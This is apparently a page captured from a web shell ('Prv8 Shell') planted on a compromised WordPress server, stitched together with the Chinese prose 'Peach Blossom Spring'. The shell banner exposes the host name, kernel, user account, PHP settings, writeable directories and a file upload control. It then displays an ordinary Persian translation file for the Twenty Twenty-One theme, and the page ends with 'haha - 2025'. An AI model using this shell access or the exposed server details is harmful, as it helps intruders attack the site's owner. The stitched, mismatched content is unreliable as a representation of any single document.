晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/wp-contentTZh/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/wp-contentTZh/languages/themes/twentytwentyone-fa_IR.po
# Translation of Themes - Twenty Twenty-One in Persian
# This file is distributed under the same license as the Themes - Twenty Twenty-One package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-12-09 05:56:59+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: fa\n"
"Project-Id-Version: Themes - Twenty Twenty-One\n"

#. translators: %s is the wordpress.org Twenty Twenty-One support article URL.
#: classes/class-twenty-twenty-one-dark-mode.php:189
msgid "https://wordpress.org/support/article/twenty-twenty-one/"
msgstr "https://wordpress.org/support/article/twenty-twenty-one/"

#. translators: %s is the wordpress.org Twenty Twenty-One support article URL.
#: classes/class-twenty-twenty-one-dark-mode.php:188
msgid "Dark Mode is a device setting. If a visitor to your site requests it, your site will be shown with a dark background and light text. <a href=\"%s\">Learn more about Dark Mode.</a>"
msgstr "حالت تاریک تنظیمی برای دستگاه‌ها می‌باشد. اگر کاربر سایت درخواست حالت تاریک ارسال کند، سایت شما با زمینه تاریک و متن روشن نمایش داده خواهد شد. <a href=\"%s\">درمورد حالت تاریک بیشتر مطالعه کنید.</a>"

#: classes/class-twenty-twenty-one-dark-mode.php:192
msgid "Dark Mode can also be turned on and off with a button that you can find in the bottom right corner of the page."
msgstr "حالت تاریک را با دکمه موجود در سمت چپ و پایین صفحه می‌توان روشن ویا خاموش کرد."

#. translators: %s: The post-type name.
#: inc/template-tags.php:255
msgid "Older %s"
msgstr "%s کهنه‌تر"

#. translators: %s: The post-type name.
#: inc/template-tags.php:247
msgid "Newer %s"
msgstr "%s تازه‌تر"

#: classes/class-twenty-twenty-one-dark-mode.php:408
msgid "This website uses LocalStorage to save the setting when Dark Mode support is turned on or off.<br> LocalStorage is necessary for the setting to work and is only used when a user clicks on the Dark Mode button.<br> No data is saved in the database or transferred."
msgstr "این وبسایت در صورت فعال ویا غیرفعال سازی حالت تاریک از حافظه محلی استفاده می‎کند.<br> استفاده از حافظه محلی برای کارکرد صحیح حالت تاریک الزامی است و تنها در مواردی از آن استفاده خواهد شد که کاربر برروی دکمه حالت تاریک کلیک کند.<br> هیچ داده‎ای در پایگاه‎داده ثبت ویا ذخیره نمی‎شود."

#: classes/class-twenty-twenty-one-dark-mode.php:407
msgid "Suggested text:"
msgstr "متن پیشنهاد شده:"

#: classes/class-twenty-twenty-one-dark-mode.php:406
msgid "Twenty Twenty-One uses LocalStorage when Dark Mode support is enabled."
msgstr "پوسته دو هزار و بیست و یک درصورت فعال بودن حالت تاریک، از حافظه محلی استفاده می‎کند."

#: classes/class-twenty-twenty-one-dark-mode.php:199
msgid "Dark Mode support"
msgstr "پشتیبانی از حالت تاریک"

#: classes/class-twenty-twenty-one-customize-notice-control.php:43
msgid "Learn more about Dark Mode."
msgstr "درباره حالت تاریک بیشتر بدانید."

#: classes/class-twenty-twenty-one-customize-notice-control.php:41
msgid "To access the Dark Mode settings, select a light background color."
msgstr "برای دسترسی به تنظیمات حالت تاریک، یک زمینه روشن انتخاب کنید."

#: classes/class-twenty-twenty-one-dark-mode.php:145
msgid "Colors & Dark Mode"
msgstr "رنگ‎ بندی و حالت تاریک"

#: inc/template-tags.php:77
msgctxt "Label for sticky posts"
msgid "Featured post"
msgstr "نوشته ویژه"

#: inc/template-functions.php:399
msgctxt "Post password form"
msgid "Submit"
msgstr "ارسال"

#: inc/template-functions.php:399
msgctxt "Post password form"
msgid "Password"
msgstr "رمز عبور"

#: inc/template-functions.php:174
msgctxt "Added to posts and pages that are missing titles"
msgid "Untitled"
msgstr "بدون عنوان"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "Cambridge, MA, 02139"
msgstr "کمبریج، ماساچوست، 02139"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "123 Main Street"
msgstr "خیابان اصلی 123"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "123-456-7890"
msgstr "123-456-7890"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "example@example.com"
msgstr "example@example.com"

#: classes/class-twenty-twenty-one-customize.php:143
msgctxt "Customizer control"
msgid "Background color"
msgstr "رنگ زمینه"

#. translators: %s: The post-type singlular name (example: Post, Page etc)
#: single.php:53
msgid "Previous %s"
msgstr "قبلی %s"

#. translators: %s: The post-type singlular name (example: Post, Page etc)
#: single.php:51
msgid "Next %s"
msgstr "بعدی %s"

#. translators: %s: WordPress Version.
#: inc/back-compat.php:42 inc/back-compat.php:61 inc/back-compat.php:86
msgid "This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade."
msgstr "این پوسته نیازمند وردپرس نسخه 5.3 ویا جدیدتر می‎باشد. درحال حاضر از نسخه %s استفاده می‎کنید. لطفا وردپرس را ارتقا دهید."

#. translators: %: page number.
#: image.php:46 template-parts/content/content-page.php:36
#: template-parts/content/content-single.php:30
#: template-parts/content/content.php:36
msgid "Page %"
msgstr "برگه %"

#: functions.php:187
msgctxt "Font size"
msgid "XXXL"
msgstr "XXXL"

#: functions.php:181
msgctxt "Font size"
msgid "XXL"
msgstr "XXL"

#: functions.php:175
msgctxt "Font size"
msgid "XL"
msgstr "XL"

#: functions.php:169
msgctxt "Font size"
msgid "L"
msgstr "L"

#: functions.php:163
msgctxt "Font size"
msgid "M"
msgstr "M"

#: functions.php:157
msgctxt "Font size"
msgid "S"
msgstr "S"

#: functions.php:151
msgctxt "Font size"
msgid "XS"
msgstr "XS"

#: comments.php:88
msgid "Leave a comment"
msgstr "دیدگاهی بنویسید"

#. translators: %s: comment count number.
#: comments.php:40
msgctxt "Comments title"
msgid "%s comment"
msgid_plural "%s comments"
msgstr[0] "%s دیدگاه"

#: comments.php:35
msgid "1 comment"
msgstr "یک دیدگاه"

#: classes/class-twenty-twenty-one-dark-mode.php:358
msgid "On"
msgstr "فعال"

#: classes/class-twenty-twenty-one-dark-mode.php:355
msgid "Off"
msgstr "غیرفعال"

#. translators: %s: On/Off
#: classes/class-twenty-twenty-one-dark-mode.php:345
msgid "Dark Mode: %s"
msgstr "حالت تاریک: %s"

#: inc/template-functions.php:397
msgid "This content is password protected. Please enter a password to view."
msgstr "این محتوا با رمز عبور محافظت شده است. برای مشاهده لطفا رمز عبور را وارد کنید."

#: inc/menu-functions.php:35
msgid "Open menu"
msgstr "باز کردن فهرست"

#: inc/block-patterns.php:107
msgid "&#8220;Reading&#8221; by Berthe Morisot"
msgstr "&#8220;در حال خواندن&#8221; توسط برت موریسو"

#: inc/block-patterns.php:84
msgid "&#8220;Self portrait&#8221; by Berthe Morisot"
msgstr "&#8220;خودنگاره&#8221; توسط برت موریسو"

#: inc/block-patterns.php:84
msgid "&#8220;Daffodils&#8221; by Berthe Morisot"
msgstr "&#8220;نرگس&#8221; توسط برت موریسو"

#: inc/block-patterns.php:72 inc/block-patterns.php:107
#: inc/starter-content.php:43
msgid "&#8220;Roses Tremieres&#8221; by Berthe Morisot"
msgstr "&#8220;ختمی&#8221; توسط برت موریسو"

#: inc/template-functions.php:399
msgctxt "Post password form"
msgid "Enter"
msgstr "وارد نمایید"

#: inc/starter-content.php:128
msgctxt "Theme starter content"
msgid "Check out the Support Forums"
msgstr "به انجمن پشتیبانی مراجعه کنید"

#: inc/starter-content.php:122
msgctxt "Theme starter content"
msgid "Read the Theme Documentation"
msgstr "مستندات پوسته را بخوانید"

#: inc/starter-content.php:112
msgctxt "Theme starter content"
msgid "Need help?"
msgstr "به راهنمایی نیاز دارید؟"

#: inc/starter-content.php:97
msgctxt "Theme starter content"
msgid "Twenty Twenty-One also includes an overlap style for column blocks. With a Columns block selected, open the \"Styles\" panel within the Editor sidebar. Choose the \"Overlap\" block style to try it out."
msgstr "با دوهزار و بیست و یک می‎توانید برای ستون‎های داخل بلوک ها شیوه‎نامه های دارای هم‎پوشانی تعیین کنید. برای این کار برروی ستون کلیک کرده و از نوار کناری ویرایشگر، پنل \"شیوه‎نامه‎ها\" را یافته و شیوه‎نامه \"هم‎پوشانی\" را انتخاب کنید."

#: inc/starter-content.php:93
msgctxt "Theme starter content"
msgid "Overlap columns"
msgstr "ستون های دارای همپوشانی"

#: inc/starter-content.php:87
msgctxt "Theme starter content"
msgid "Twenty Twenty-One includes stylish borders for your content. With an Image block selected, open the \"Styles\" panel within the Editor sidebar. Select the \"Frame\" block style to activate it."
msgstr "دو هزار و بیست و یک دارای لبه‎های خوش‎استیل برای محتوای شما است. با انتخاب بلوک تصویر، از نوار کناری ویرایشگر، \"شیوه‎نامه‎ها\" را یافته و \"چهارچوب\" را انتخاب کنید."

#: inc/starter-content.php:83
msgctxt "Theme starter content"
msgid "Frame your images"
msgstr "چهارچوب تصاویر شما"

#: inc/starter-content.php:77
msgctxt "Theme starter content"
msgid "Block patterns are pre-designed groups of blocks. To add one, select the Add Block button [+] in the toolbar at the top of the editor. Switch to the Patterns tab underneath the search bar, and choose a pattern."
msgstr "الگوهای بلوک‎ها گروهی از بلوک ها هستند که از قبل طراحی شده‎اند. برای اضافه کردن الگو، برروی دکمه افزودن بلوک [+] در نوار ابزار موجود در بالا و سمت راست ویرایشگر کلیک کنید. زیر جعبه جستجو برروی \"الگو‎ها\" کلیک کرده و الگوی مورد نظر را انتخاب کنید."

#: inc/starter-content.php:73
msgctxt "Theme starter content"
msgid "Add block patterns"
msgstr "اضافه کردن الگوهای بلوک"

#: inc/starter-content.php:30 inc/starter-content.php:33
msgctxt "Theme starter content"
msgid "Create your website with blocks"
msgstr "وبسایت خود را با بلوک‎ها ایجاد کنید"

#: inc/block-patterns.php:107
msgid "Reading"
msgstr "خواندن"

#: inc/block-patterns.php:107
msgid "Young Woman in Mauve"
msgstr "زن جوان بنفش‎گون"

#: inc/block-patterns.php:107
msgid "The Garden at Bougival"
msgstr "باغی در بوجيفال"

#: inc/block-patterns.php:107
msgid "In the Bois de Boulogne"
msgstr "در بوئس دی بولونی"

#: inc/block-patterns.php:107
msgid "Villa with Orange Trees, Nice"
msgstr "ویلایی با درخت‎های پرتقال، چه زیبا!"

#: inc/block-patterns.php:107
msgid "Roses Tremieres"
msgstr "ختمی"

#: inc/block-patterns.php:96
msgid "&#8220;Villa with Orange Trees, Nice&#8221; by Berthe Morisot"
msgstr "&#8220;ویلایی با درخت‎های پرتقال، چه زیبا!&#8221; توسط برت موریسو"

#: inc/block-patterns.php:96
msgid "Beautiful gardens painted by Berthe Morisot in the late 1800s"
msgstr "باغ‎های زیبا در اواخر قرن نوزدهم توسط برت موریسو نقاشی شده‎ است"

#: inc/block-patterns.php:96 inc/block-patterns.php:107
msgid "&#8220;The Garden at Bougival&#8221; by Berthe Morisot"
msgstr "&#8220;باغی در بوجيفال&#8221; توسط برت موریسو"

#: inc/block-patterns.php:72 inc/block-patterns.php:107
#: inc/starter-content.php:61
msgid "&#8220;Young Woman in Mauve&#8221; by Berthe Morisot"
msgstr "&#8220;زن جوان بنفش‎گون&#8221; توسط برت موریسو"

#: inc/block-patterns.php:72 inc/block-patterns.php:107
#: inc/starter-content.php:51
msgid "&#8220;In the Bois de Boulogne&#8221; by Berthe Morisot"
msgstr "&#8220;در بوئس دی بولونی&#8221; توسط برت موریسو"

#: inc/block-patterns.php:60
msgid "Berthe Morisot<br>(French, 1841-1895)"
msgstr "برت موریسو<br>(فرانسه، 1841-1895)"

#: inc/block-patterns.php:60
msgid "Playing in the Sand"
msgstr "بازی در شن"

#: inc/block-patterns.php:60
msgid "&#8220;Playing in the Sand&#8221; by Berthe Morisot"
msgstr "&#8220;بازی در شن&#8221; توسط برت موریسو"

#. translators: %s: parent post.
#: image.php:59
msgid "Published in %s"
msgstr "منتشر شده در %s"

#. translators: There is a space after page.
#: comments.php:63 inc/template-tags.php:240
msgid "Page "
msgstr "برگه‌ی "

#: classes/class-twenty-twenty-one-customize.php:113
msgid "Summary"
msgstr "خلاصه"

#: classes/class-twenty-twenty-one-customize.php:90
msgid "Excerpt Settings"
msgstr "تنظیمات چکیده"

#: inc/block-styles.php:98
msgid "Thick"
msgstr "ضخیم"

#: classes/class-twenty-twenty-one-customize.php:111
msgid "On Archive Pages, posts show:"
msgstr "نمایش نوشته‌ها در برگه‌های بایگانی:"

#. translators: 1: Link to authors posts. 2: Author name.
#: template-parts/post/author-bio.php:20
msgid "View all of %2$s's posts."
msgstr "مشاهده همه نوشته‎های %2$s."

#. translators: %s author name.
#. translators: 1: Author name.
#: inc/template-tags.php:49 template-parts/post/author-bio.php:15
msgid "By %s"
msgstr "توسط %s"

#: template-parts/content/content-none.php:61
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "به‌نظر می‌رسد نمی‌توانیم چیزی که شما به دنبال آن هستید را بیابیم. شاید جستجو بتواند به شما کمک کند."

#: template-parts/content/content-none.php:56
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "متاسفانه جستجوی شما نتیجه‌ای در بر نداشت. لطفا با واژه‌های دیگری جستجو کنید."

#. translators: 1: link to WP admin new post page.
#: template-parts/content/content-none.php:43
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "آماده‌ی انتشار نخستین نوشته‌ی خود هستید؟ <a href=\"%1$s\">از اینجا شروع کنید</a>."

#. translators: %s: parent post link.
#: single.php:25
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%s</span>"
msgstr "<span class=\"meta-nav\">منتشر شده در</span><span class=\"post-title\">%s</span>"

#: searchform.php:26
msgctxt "submit button"
msgid "Search"
msgstr "جستجو"

#: searchform.php:24
msgid "Search&hellip;"
msgstr "جستجو&hellip;"

#. translators: %d: the number of search results.
#: search.php:33
msgid "We found %d result for your search."
msgid_plural "We found %d results for your search."
msgstr[0] "برای جستجوی شما %d نتیجه پیدا شد."

#. translators: %s: search term.
#: search.php:21 template-parts/content/content-none.php:22
msgid "Results for \"%s\""
msgstr "نتایج برای \"%s\""

#. translators: %s: list of tags.
#: inc/template-tags.php:118 inc/template-tags.php:162
msgid "Tagged %s"
msgstr "برچسب خورده با %s"

#. translators: %s: list of categories.
#: inc/template-tags.php:108 inc/template-tags.php:152
msgid "Categorized as %s"
msgstr "دسته‌بندی شده در %s"

#. translators: used between list items, there is a space after the comma.
#: inc/template-tags.php:104 inc/template-tags.php:114
#: inc/template-tags.php:148 inc/template-tags.php:158
msgid ", "
msgstr "،"

#. translators: %s: Name of current post. Only visible to screen readers.
#: image.php:68 image.php:93 inc/template-tags.php:92 inc/template-tags.php:135
#: template-parts/content/content-page.php:48
msgid "Edit %s"
msgstr "ویرایش %s"

#. translators: %s: Name of current post.
#: inc/template-functions.php:132
msgid "Continue reading %s"
msgstr "ادامه خواندن %s"

#: inc/block-styles.php:71
msgid "Dividers"
msgstr "جدا کننده"

#: inc/block-styles.php:62
msgid "Frame"
msgstr "چهارچوب"

#: inc/block-styles.php:35 inc/block-styles.php:44 inc/block-styles.php:53
#: inc/block-styles.php:80 inc/block-styles.php:89
msgid "Borders"
msgstr "لبه‌دار"

#: inc/block-styles.php:26
msgid "Overlap"
msgstr "هم‎پوشانی"

#: inc/block-patterns.php:116
msgctxt "Block pattern description"
msgid "A block with 3 columns that display contact information and social media links."
msgstr "بلوکی با سه ستون که اطلاعات تماس و پیوندهای شبکه‎های اجتماعی را نمایش می‎دهد."

#: inc/block-patterns.php:114
msgid "Contact information"
msgstr "اطلاعات تماس"

#: inc/block-patterns.php:106
msgctxt "Block pattern description"
msgid "A list of projects with thumbnail images."
msgstr "فهرست پروژه‎ها با تصاویر بندانگشتی."

#: inc/block-patterns.php:104
msgid "Portfolio list"
msgstr "فهرست نمونه کار"

#: inc/block-patterns.php:95
msgctxt "Block pattern description"
msgid "An overlapping columns block with two images and a text description."
msgstr "بلوکی که ستون‎های آن دارای هم‎پوشانی با دو تصویر و یک متن توضیحات هستند."

#: inc/block-patterns.php:92
msgid "Overlapping images and text"
msgstr "تصاویر و متن‎های دارای همپوشانی"

#: inc/block-patterns.php:83
msgctxt "Block pattern description"
msgid "A media & text block with a big image on the left and a smaller one with bordered frame on the right."
msgstr "بلوک رسانه و متن که دارای تصویر بزرگ در سمت راست و تصویری کوچکتر با چهارچوب لبه‎دار در سمت چپ است."

#: inc/block-patterns.php:80
msgid "Two images showcase"
msgstr "ویترین دو تصویر"

#: inc/block-patterns.php:71
msgctxt "Block pattern description"
msgid "Three images inside an overlapping columns block."
msgstr "سه تصویر داخل بلوکی که ستون‎های آن هم‎پوشانی دارند."

#: inc/block-patterns.php:68
msgid "Overlapping images"
msgstr "تصاویر دارای همپوشانی"

#: inc/block-patterns.php:59
msgctxt "Block pattern description"
msgid "A Media & Text block with a big image on the left and a heading on the right. The heading is followed by a separator and a description paragraph."
msgstr "بلوک رسانه و متن همراه با تصویری بزرگ در سمت راست و تیتر در سمت چپ که به دنبال تیتر یک جداکننده و یک بند توضیحات قرار دارد."

#: inc/block-patterns.php:56
msgid "Media and text article title"
msgstr "عنوان مقاله رسانه‎ای و متنی"

#: inc/block-patterns.php:48
msgid "example@example.com"
msgstr "example@example.com"

#: inc/block-patterns.php:48
msgid "Dribbble"
msgstr "دریبل زدن"

#: inc/block-patterns.php:48
msgid "Instagram"
msgstr "اینستاگرام"

#: inc/block-patterns.php:48
msgid "Twitter"
msgstr "توییتر"

#: inc/block-patterns.php:48
msgid "Let&#8217;s Connect."
msgstr "برقراری ارتباط."

#: inc/block-patterns.php:47
msgctxt "Block pattern description"
msgid "A huge text followed by social networks and email address links."
msgstr "متنی بزرگ به‎ دنبال پیوندهای شبکه های اجتماعی و ایمیل."

#: inc/block-patterns.php:44
msgid "Links area"
msgstr "ناحیه پیوندها"

#: inc/block-patterns.php:36
msgid "A new portfolio default theme for WordPress"
msgstr "پوسته‎ای جدید با سبک نمونه کار ساخته شده برای وردپرس"

#: inc/block-patterns.php:33
msgid "Large text"
msgstr "متن بزرگ"

#: image.php:81
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "اندازه کامل"

#. translators: %s: publish date.
#: inc/template-tags.php:29
msgid "Published %s"
msgstr "منتشر شده در %s"

#: image.php:43 template-parts/content/content-page.php:33
#: template-parts/content/content-single.php:27
#: template-parts/content/content.php:33
msgid "Page"
msgstr "برگه"

#: template-parts/header/site-nav.php:19
msgid "Close"
msgstr "بستن"

#: template-parts/header/site-nav.php:16
msgid "Menu"
msgstr "فهرست"

#: functions.php:76 inc/starter-content.php:154
#: template-parts/header/site-nav.php:13
msgid "Primary menu"
msgstr "فهرست اصلی"

#: header.php:26
msgid "Skip to content"
msgstr "پرش به محتوا"

#: functions.php:360
msgid "Add widgets here to appear in your footer."
msgstr "برای نمایش ابزارک ها در پاورقی، آن ها را به اینجا اضافه کنید."

#: functions.php:358
msgid "Footer"
msgstr "پاورقی"

#: functions.php:309
msgid "Red to purple"
msgstr "قرمز تا بنفش"

#: functions.php:304
msgid "Purple to red"
msgstr "بنفش تا قرمز"

#: functions.php:299
msgid "Yellow to red"
msgstr "زرد تا قرمز"

#: functions.php:294
msgid "Red to yellow"
msgstr "قرمز تا زرد"

#: functions.php:289
msgid "Yellow to green"
msgstr "زرد تا سبز"

#: functions.php:284
msgid "Green to yellow"
msgstr "سبز تا زرد"

#: functions.php:279
msgid "Yellow to purple"
msgstr "زرد تا بنفش"

#: functions.php:274
msgid "Purple to yellow"
msgstr "بنفش تا زرد"

#: functions.php:263
msgid "White"
msgstr "سفید"

#: functions.php:258
msgid "Yellow"
msgstr "زرد"

#: functions.php:253
msgid "Orange"
msgstr "نارنجی"

#: functions.php:248
msgid "Red"
msgstr "قرمز"

#: functions.php:243
msgid "Purple"
msgstr "بنفش"

#: functions.php:238
msgid "Blue"
msgstr "آبی"

#: functions.php:233
msgid "Green"
msgstr "سبز"

#: functions.php:228
msgid "Gray"
msgstr "خاکستری"

#: functions.php:223 inc/block-styles.php:107
msgid "Dark gray"
msgstr "خاکستری تیره"

#: functions.php:218
msgid "Black"
msgstr "سیاه"

#: functions.php:186
msgid "Gigantic"
msgstr "غول‎ پیکر"

#: functions.php:180
msgid "Huge"
msgstr "بسیار بزرگ"

#: functions.php:174
msgid "Extra large"
msgstr "بزرگتر"

#: functions.php:168
msgid "Large"
msgstr "بزرگ"

#: functions.php:162
msgid "Normal"
msgstr "معمولی"

#: functions.php:156
msgid "Small"
msgstr "کوچک"

#: functions.php:150
msgid "Extra small"
msgstr "بسیار کوچک"

#. translators: %s: WordPress.
#: footer.php:60
msgid "Proudly powered by %s."
msgstr "با افتخار، نیرو گرفته از %s."

#: footer.php:24 functions.php:77 inc/starter-content.php:165
msgid "Secondary menu"
msgstr "فهرست فرعی"

#: comments.php:80
msgid "Comments are closed."
msgstr "دیدگاه‌ها بسته شده‌اند."

#: comments.php:72
msgid "Newer comments"
msgstr "دیدگاه‌های تازه‌تر"

#: comments.php:68
msgid "Older comments"
msgstr "دیدگاه‌های قدیمی‌تر"

#: classes/class-twenty-twenty-one-customize.php:114
msgid "Full text"
msgstr "متن کامل"

#: classes/class-twenty-twenty-one-customize.php:80
msgid "Display Site Title & Tagline"
msgstr "نمایش عنوان و شعار سایت"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "چیزی در اینجا پیدا نشد. می‌خواهید جستجو کنید؟"

#: 404.php:16 template-parts/content/content-none.php:30
msgid "Nothing here"
msgstr "هیچ چیزی اینجا نیست"

#. Author URI of the theme
#: footer.php:61
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Author of the theme
msgid "the WordPress team"
msgstr "تیم وردپرس"

#. Description of the theme
msgid "Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. With new block patterns, which allow you to create a beautiful layout in a matter of seconds, this theme’s soft colors and eye-catching — yet timeless — design will let your work shine. Take it for a spin! See how Twenty Twenty-One elevates your portfolio, business website, or personal blog."
msgstr "دو هزار و بیست و یک بومی خالی است تا ایده‎های خود را با استفاده از ویرایشگر بلوک برروی آن نقاشی کنید. الگوها طرح‎بندی‎های زیبایی را در دسترس شما قرار خواهند داد. درعرض ثانیه ها طرح‎های چشم‎نواز و شیک ایجاد کنید. هم‎اکنون  امتحان کنید و ببینید که چگونه دو هزار و بیست و یک سطح وبسایت کاری ویا وبلاگ شخصی شما را بالاتر می‏‎برد. "

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentytwentyone/"
msgstr "https://wordpress.org/themes/twentytwentyone/"

#. Theme Name of the theme
#: inc/block-patterns.php:20
msgid "Twenty Twenty-One"
msgstr "دو هزار و بیست و یک"

haha - 2025